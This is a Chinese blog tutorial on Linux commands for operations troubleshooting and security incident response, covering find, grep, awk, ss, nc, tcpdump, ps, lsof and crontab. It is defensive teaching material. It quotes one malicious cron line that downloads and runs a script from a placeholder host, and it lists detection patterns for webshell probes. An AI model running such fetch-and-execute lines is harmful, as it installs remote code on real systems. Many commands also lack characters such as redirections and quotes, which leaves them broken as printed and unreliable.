10组Linux命令实战:从运维排查到安全审计的必备技能
发布时间:2026/9/12 22:57:59 作者:尧图编辑部 阅读量:1,286

开头我就直接说结论这10组Linux命令不是所谓“黑客大神”拿来炫技的花活而是我这些年做系统运维、安全巡检、应急响应时真正会翻来覆去用的一套基本功。很多人一想到黑客脑子里全是电影里那种黑底绿字的快速滚动实际上真到了排查服务器异常、追踪入侵痕迹、检查提权路径的时候翻来覆去用的就是 find、grep、awk、netstat、nc、tcpdump 这些东西。你把这些命令玩明白了不敢说能当什么大神但至少系统出问题、日志找线索、进程查异常的活儿能顶半边天。这篇内容适合三类人看一是刚入门的Linux用户想知道除了 ls、cd 之外还该学点什么二是运维工程师经常要处理服务器变慢、端口异常、文件被篡改的问题三是对安全测试感兴趣的同学想建立一套系统排查的思路。我会按“安全视角”来拆解这10个命令不只讲参数更重要的是告诉你遇到真实情况时每个命令该在哪个环节用、怎么用、能发现什么。1. 为什么是这10个命令安全视角的命令选型思路1.1 黑客与运维眼中不一样的命令清单先纠正一个误区真正做安全测试的人跟做运维的人常用的Linux命令高度重合。原因很简单攻击者要在系统上搞事情离不开几类基本操作——找文件、看进程、看网络连接、改权限、留后门。而防御者要发现这些动作也得靠同一套机制去查。双方其实是在同一张棋盘上博弈。我见过不少新手一上来就背各种复杂参数的“神技”比如一条命令查出所有Webshell、一条命令分析流量包看起来很厉害但遇到真实场景就抓瞎。因为命令只是工具核心是思路。你得先知道“我在查什么”才知道该用哪个命令、带什么参数。所以这10组命令我按“运维排查 安全审计”的场景重新排了序每一组都在实际工作中有明确用途命令核心用途典型安全场景find文件定位找可疑脚本、SUID提权文件、近期被修改文件grep日志检索从大量日志中提取登录失败、Web攻击记录awk文本处理统计攻击来源IP、提取指定时间段的日志netstat/ss网络连接查看找异常外联、反弹连接、开放端口nc网络调试端口连通性测试、临时传输文件tcpdump抓包分析确认主机是否在发送可疑数据chmod/chown权限管理修复目录权限、移除SUID后门ps进程审计检测挖矿木马、伪装进程lsof文件与端口关联查端口占用、被删除但仍运行的文件crontab计划任务排查发现恶意定时任务、持久化后门1.2 学命令的正确姿势先理解场景再记参数我经常跟人讲参数是背不完的但是场景是可以穷举的。你不一定记得住 find 的全部选项但只要脑子里有“我要找24小时内被改过的可执行文件”“我要找设置了SUID位的文件”这类具体场景你自然会去查、去试时间长了就刻在肌肉记忆里。这套命令还有一个共同点它们都是“只读”优先的排查工具。除了 sed 做批量替换、chmod/chown 做权限变更、crontab 做任务管理需要改动系统之外大部分情况下我们只是读取信息、观察状态、分析数据。所以在真实故障或入侵排查时先用只读命令收集线索再决定要不要动系统这个顺序非常关键。顺序反了容易把现场破坏掉。2. 文件定位与日志挖掘find 和 grep2.1 find不只是找文件更是找“不该存在的东西”find 大概是所有Linux用户最早接触的命令之一但在安全场景里它的价值远不止“找文件”这么简单。我最常用的是下面几种组合。第一种按修改时间找文件。攻击者上传webshell、落地恶意脚本通常都会留下时间痕迹。很多应急响应场景我们会先问“系统最近一次异常从什么时候开始的”然后顺着时间窗口去翻文件find /tmp /var/tmp /dev/shm -type f -mtime -1 2/dev/null这条命令会把 /tmp、/var/tmp、/dev/shm 下最近24小时内被修改过的文件全列出来。为什么优先看这几个目录因为临时目录一般权限宽松是攻击者最容易落脚本的地方。如果发现里面躺着一个莫名其妙的 .sh 或 .php 文件十有八九有情况。第二种找SUID文件。这是老生常谈但确实重要。SUID权限位会让普通用户以文件属主的身份执行程序如果某个系统文件被挂上SUID或者某个第三方程序被植入SUID位就可能成为提权后门find / -perm -4000 -type f 2/dev/null这条命令输出所有设置了SUID位的可执行文件。正常系统里这个列表应该是固定的、可控的。你没事的时候跑一遍存个基线等系统出问题时再跑一遍一对比就知道多出来的是谁。第三种按文件名特征找可疑文件。比如网站被挂了webshell常见名字有 shell.php、cmd.php、x.php 之类的随机短名字find /var/www/html -type f -name *.php -mtime -3 2/dev/null在正常的网站目录里php文件不会天天变。如果发现最近三天有一批陌生php文件出现大概率就是被上传的脚本接下来再去逐个查内容。提示find / 全盘扫在大硬盘上非常慢而且会刷出一堆权限报错。实战中先把范围缩小到 /tmp、/var/tmp、/dev/shm、/home、/var/www 这些高危目录再决定要不要扩大范围效率会高很多。2.2 grep日志里的线索比想象中多得多grep 是日志分析的“第一入口”。很多新手觉得日志分析高大上其实第一步就是拿 grep 去把关键行捞出来。我不建议一上来就上复杂的日志分析平台命令行往往最快grep Failed password /var/log/auth.log | head这是看SSH暴力破解的经典命令。Debian/Ubuntu 系统的SSH日志在 /var/log/auth.logCentOS/RHEL 在 /var/log/secure。要是有人在爆破你的服务器这条命令会刷出来一堆“Failed password for invalid user ...”。光看失败记录还不够还得知道攻击者从哪些IP来的、爆破了多少次grep Failed password /var/log/auth.log | awk {print $(NF-3)} | sort | uniq -c | sort -rn | head输出结果就是“次数 来源IP”的排序表。次数最高的那几个IP直接可以加进防火墙黑名单。这种场景同时用到了 grep 和 awk后面讲awk的时候还会再展开。再看Web日志。假设你用Nginx想找谁在扫描你的站点grep -E \.(php|asp|jsp) /var/log/nginx/access.log | grep -E cmd|eval|shell | head如果出现大量带 cmd、eval、shell 这类关键词的请求那基本可以判定有人在尝试找你的webshell入口。注意有些日志文件被轮转过或者系统时间不对grep出来的结果可能不完整。排查时先看日志行的时间字段再确定时间窗口不要拿着全量日志瞎猜。2.3 实战案例5分钟定位可疑脚本给你一个我处理过的典型场景。某天客户报障说服务器CPU忽高忽低访问网站偶发卡顿。我先登录服务器一条命令看当前进程一条命令看临时目录然后组合出击ps aux --sort-%cpu | head -5 find /tmp -type f -mtime -1 -name *.sh 2/dev/null结果看到一个 /tmp/update.sh内容是一段从外部地址下载并执行文件的脚本CPU飙高则是因为它已经拉下来一个挖矿程序在跑。整个过程从登录到定位用了不到5分钟。这里的核心就是先用 ps 确认异常进程再用 find 找到对应的启动脚本最后用 grep 确认脚本内容三个命令配合问题链路就清晰了。3. 文本处理不炫技awk 手里出真相3.1 awk按列提取日志字段统计攻击来源awk 是文本处理的常青树尤其在日志分析里它的地位几乎是不可替代的。日志文件本身就是“一行一条记录每条记录按空格分成多个字段”的结构awk 天生适合做这种处理。最基本的分字段统计awk {print $1} /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -10access.log 的第一列通常是访客IP这条命令会把所有访问IP统计并排序直接看哪些IP在频繁请求。把它跟 grep 结合就能统计某个时间段的请求awk $4 [01/Oct/2025:00:00:00 $4 [01/Oct/2025:23:59:59 /var/log/nginx/access.log | awk {print $1} | sort | uniq -c | sort -rn | head这比在Excel里拖半天快得多。awk 还可以自己定义分隔符比如某些日志用逗号或竖线分隔只要加一个 -F 参数awk -F: {print $1} /etc/passwd把 /etc/passwd 里所有用户名提取出来。再配合循环就能快速检查系统里有哪些用户for user in $(awk -F: {print $1} /etc/passwd); do echo $user ; crontab -u $user -l 2/dev/null; done这条命令能一次性把系统上所有用户的计划任务拉出来省去一个个切换用户查看的麻烦。3.2 sed批量处理时的“手术刀”sed 我放在awk旁边讲因为它俩经常一起出现。sed 的强项是“按行处理”和“批量替换”。应急响应里最常见的用法是清理恶意代码sed -i s/外部的恶意域名/127.0.0.1/g /etc/hosts或者把某个配置文件里所有的旧IP换成新IPsed -i s/192.168.1.10/192.168.1.20/g /etc/nginx/nginx.conf还有一个很有用的排查技巧用 sed 查看文件的指定行范围。比如日志文件很大你只想起中间某一段可以直接sed -n 1000,1200p /var/log/syslog这样不会把整个文件读进终端也不容易卡死。注意sed -i 是直接改文件的没有确认机制。我一般会在改动前先复制一份原文件留底万一改错了还能回滚cp /etc/hosts /etc/hosts.bak.20251001 sed -i s/old/new/g /etc/hosts4. 网络排查三件套netstat/ss、nc、tcpdump4.1 netstat 和 ss一眼看出异常连接服务器被入侵后最明显的异常之一就是网络连接。正常情况下业务服务器对外发起的连接应该很有限如果突然冒出一堆连向陌生IP的 ESTABLISHED 连接就要警惕了。netstat 和 ss 就是看这个的netstat -antlp ss -antlp两者作用类似ss 性能更好很多新系统只装了 ss 没装 netstat。参数含义-a 显示所有连接-n 用数字显示地址和端口-t 只看TCP-l 只看监听状态-p 显示进程PID和名称。排查思路很简单先看 LISTEN 状态的端口有没有意料之外的新端口开着再看 ESTABLISHED 状态的外网地址有没有可疑的主动外联。举个例子服务器没有邮件服务却看到一条到外网 IP:25 的长连接那基本可以断定有问题。想动态观察连接变化可以配 watchwatch -n 1 ss -antp | grep ESTAB每秒刷新一次如果看到某个连接反复出现、消失很可能是心跳型后门。4.2 nc网络工具箱里的瑞士军刀nc 全名 netcat网络调试工具里的常青树。它的功能很多但我在排查和测试场景中最常用的有两个。一个是端口连通性测试nc -zv 192.168.1.100 22-z 表示扫描模式不发送数据-v 显示详情。这条命令是判断某台机器某个端口通不通的最快方式比 telnet 更干净比 ping 更准确ping 只能测主机通不通测不了端口。另一个是临时监听端口收数据。比如怀疑内部网络中某台机器在向外回连可以在排查机上起一个监听nc -lvp 8080不过这里要提醒一句这是双向工具既可以用于排查也可能被攻击者用来做反弹连接。所以具体用法不属于本文重点。防御者要清楚它的原理才能在后门排查中判断出“为什么有进程在监听8080端口”。4.3 tcpdump抓包才能看到真相有些问题靠看连接状态是发现不了的比如服务器在向一个不明地址发送大量数据但连接瞬间就断netstat 根本来不及抓。这时候只能抓包。tcpdump 是命令行抓包的事实标准tcpdump -i eth0 -n host 192.168.1.50 and port 8080 -w capture.pcap参数说明-i 指定网卡-n 不做域名解析host 指定IPport 指定端口-w 把包写入文件。抓完包之后用 tcpdump 直接读tcpdump -r capture.pcap -n | head -50或者把 pcap 文件拉到本地用 Wireshark 打开看图形界面分析更直观。真实场景里我抓过的最经典一次某台服务器的安全软件总报有外联但所有日志都查不到进程。后来用 tcpdump 抓到一段发往境外地址的加密流量顺着源端口反查进程才发现木马把自身伪装成了内核线程藏在某个系统服务里。如果没有 tcpdump这种问题几乎无从下手。注意tcpdump 抓包会消耗磁盘空间建议加 -c 指定抓包数量或者用 -C 和 -W 做文件轮转避免把磁盘写满。5. 权限与进程审计chmod/chown、ps、lsof5.1 chmod/chown权限就是边界Linux系统的权限模型本质上就是“边界”。谁来读、谁来写、谁来执行全在权限位里写着。很多安全问题的根因就是权限设置太宽松给了攻击者可乘之机。检查目录权限的时候我常用ls -al /var/www/html | head find /var/www/html -type f -perm /002 2/dev/null第二行会列出所有“其他用户可写”的文件。如果网站目录里存在这样的文件攻击者一旦打入就能直接篡改文件内容甚至写入webshell。修复权限是另一个高频操作。网站目录的推荐做法是文件用644目录用755find /var/www/html -type f -exec chmod 644 {} \; find /var/www/html -type d -exec chmod 755 {} \;chown 也类似。如果一个文件属主不对比如应用目录里冒出一个属主为 www-data 的脚本而它本来不该属 www-data那就要人工确认。批量修复时要注意chown -R 一旦改错可能导致服务无法启动。改之前务必确认当前属主和预期属主。5.2 ps 和 top谁在偷偷运行挖矿木马、僵尸程序的共同特征是CPU或内存占用异常。用 ps 按CPU排序一眼就能看到ps aux --sort-%cpu | head -10如果某个进程CPU超过100%多核情况下单进程可以超100%就是重点怀疑对象。top 也可以看按大写P按CPU排序再加上 -c 参数显示完整命令行top -c排查进程时光看名字不够要看路径。很多木马会把进程名伪装成系统内核线程的样子比如 [kthreadd] 这种带方括号的名字是内核线程标志正常进程名不会带方括号。如果 ps 输出里出现一个疑似内核线程的进程但用 ls /proc/PID/exe 一看指向 /tmp/xxx那基本就实锤了。查看进程的可执行文件路径和启动目录ls -l /proc/1234/exe ls -l /proc/1234/cwd这两条可以快速确认进程的真实身份。之后再配合 lsof 查它打开了哪些文件、连接了哪些地址整个脉络就非常清楚。5.3 lsof打开的文件会说话lsof 是“list open files”的缩写在排查里简直是一把万能钥匙。最常用的场景有三个。第一个查端口被哪个进程占用。netstat 虽然也能看但 lsof 输出更直观lsof -i :8080直接告诉你8080端口是谁的PID、进程名、用户、完整命令。第二个查某个PID到底在跟谁通信、打开了什么文件lsof -p 1234第三个是很多人不知道的神技查“被删除但仍被进程占用”的文件lsof L1这个命令会列出所有已经删除、但依然被进程打开的文件。平时磁盘空间明明没满df 一看却显示100%很可能就是这种情况。而攻击者删掉木马文件后如果进程还活着这个命令也能把它揪出来。遇到被删除但还活着的日志文件甚至可以从 /proc/PID/fd 里把内容捞出来在应急里就是证据保全。6. 计划任务后门排查crontab以及history这个彩蛋6.1 crontab后门最爱藏的地方攻击者想长期控制一台服务器就得让恶意程序“持久化”。最朴素的手段就是写计划任务定时去执行某个脚本。所以排查计划任务是每一个安全人员的必修课。每个用户的计划任务可以用 crontab -l 看但注意它只看当前用户自己。要检查所有用户的计划任务需要管理员权限for user in $(cut -f1 -d: /etc/passwd); do echo $user ; crontab -u $user -l 2/dev/null; done系统级的计划任务还要看这几个地方cat /etc/crontab ls /etc/cron.d/ ls /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/有些老版本发行版还会把用户任务存在 /var/spool/cron/ 或 /var/spool/cron/crontabs/ 里也值得翻一翻。重点搜索的内容包括curl 或 wget 加管道执行的、base64解码执行的、写日志到 /tmp 的。比如这样一行计划任务就非常可疑*/5 * * * * wget -q -O- http://xxx/sh | sh意思是每5分钟下载一个脚本并执行这就是标准的下载器后门。发现后先停任务再清理脚本。6.2 history一条命令还原操作记录history 不是严格意义上的安全命令但它在排查中的作用被严重低估。每台Linux服务器上用户敲过的命令都会记录在 ~/.bash_history 里。如果系统被入侵攻击者在shell里输过什么命令这里通常会留下痕迹cat ~/.bash_history | grep -E wget|curl|chmod|useradd|passwd | tail -50还可以给history加上时间戳方便复盘export HISTTIMEFORMAT%F %T history | tail -50这里有个重要提醒history只能作为辅助线索不能当作唯一证据。因为攻击者可以主动清除bash_history甚至直接禁用历史记录。真要留证据得靠系统层的 auditd、auth.log、shell日志这类更底层的审计机制。所以我把history定位成“彩蛋命令”——运气好时一条命令就能还原攻击者干过的事运气不好时它可能就是空的别指望它包打天下。6.3 系统化安全排查的完整命令序列到这里10组命令其实已经讲完了。但很多新手真正困惑的是这些命令我都会真出事时该怎么串起来我把自己常用的排查顺序写给你# 1. 先看系统时间和运行时长确认事件窗口 date; uptime # 2. 看登录记录和失败记录 last -20 grep Accepted /var/log/auth.log | tail -20 # 3. 看当前用户和所有超级用户 cat /etc/passwd | grep -E /(home|root) awk -F: $30{print $1} /etc/passwd # 4. 看当前网络连接找异常外联 ss -antp # 5. 按CPU排序看进程 ps aux --sort-%cpu | head -10 # 6. 看临时目录和最近改动的文件 find /tmp /var/tmp /dev/shm -type f -mtime -1 2/dev/null # 7. 看计划任务 for user in $(cut -f1 -d: /etc/passwd); do echo $user ; crontab -u $user -l 2/dev/null; done cat /etc/crontab ls -la /etc/cron.d/ # 8. 看SUID文件和全局可写文件 find / -perm -4000 -type f 2/dev/null find / -perm -2 -type f 2/dev/null | head -50 # 9. 看被删除但还打开的文件 lsof L1这套流程不一定每一步都出结果但按这个顺序过一遍大多数常规后门和木马都藏不住。特别是第8步SUID异常文件是提权的常见通道也是热搜词里“linux提权”最常涉及的排查点。7. 常见问题与排查技巧实录7.1 命令不存在或权限不够怎么办很多排查命令需要root权限所以第一步就是确认自己的用户权限。普通用户跑 ss -antp 看不到PID跑 tcpdump 直接报权限错误这时候用 sudo 或者切换到root账户。但我要强调一句生产环境操作前先确认自己在做什么别上来就 sudo s 乱敲。另一个高频问题是命令没装。新版系统里 netstat 经常不在ss 是替代品用法高度一致nc 也有多个变种Debian系用 netcat-openbsdCentOS系用 ncat功能大同小异。tcpdump 没有预装时通常需要安装apt install tcpdump # 或 yum install tcpdump7.2 日志被清除了怎么查攻击者往往在完成操作后清空日志。bash_history 可以删/var/log/auth.log 可以清但这不代表完全没有痕迹。第一检查日志文件是否存在“空白期”文件时间戳是否被动过第二检查shell的history是否被软链接到 /dev/null第三如果日志轮转还在运行旧的轮转文件里可能还有残留数据ls -la /var/log/*.gz | head zcat /var/log/auth.log.*.gz | grep Failed | head再有systemd 系统的 journal 日志也可能留存数据journalctl -u sshd --since 3 days ago7.3 一个完整的“服务器异常”排查流程实操版最后给你一个我常用的落地流程。假设你收到告警说某台Linux服务器CPU长时间超过80%。第一步先登录服务器跑 uptime 看负载uptime第二步跑 ps aux --sort-%cpu 找出CPU大户。如果进程路径在 /tmp 或 /var/tmp基本可以断定有问题ps aux --sort-%cpu | head -5 ls -l /proc/PID/exe第三步跑 ss -antp 看这个进程是否有外联连接找到连接的远端IP和端口。第四步用 tcpdump 抓这个进程对外连接的包tcpdump -i eth0 host 远端IP -w /tmp/evidence.pcap抓一段时间后停止把 pcap 拉回本地分析。同时用 find 检查 /tmp、计划任务等位置看看是不是有持续性的启动脚本。这套流程下来从“CPU高”到“知道谁在干什么”基本能串成一条完整的证据链。我自己在实际排查中还有个习惯每执行一条命令都把输出追加到一个文件里比如date /tmp/check.log ss -antp /tmp/check.log等排查完再统一整理既是记录也是给后续分析留底。这比边查边截屏靠谱得多尤其在有大量输出需要回溯的时候。结尾一点个人体会最后说点题外话。我见过太多人把“学安全”等同于“背命令”天天研究各种看起来很高深的参数组合真到系统出问题的时候反而手忙脚乱。我自己也踩过不少坑有一回线上服务器被种了挖矿木马进程名伪装得像模像样用 top 怎么翻都看不出来最后是靠着 lsof L1 抓到一个已被删除却仍在运行的木马文件才把整个链路打通。所以这10组命令我不建议你一次性全记而是先找一台测试机把每条命令的实际输出跑一遍理解它“能看到什么”比背参数有用得多。下次再有人吹嘘黑客神技你可以笑着跟他说能把这10组命令用出花的才是真正的高手。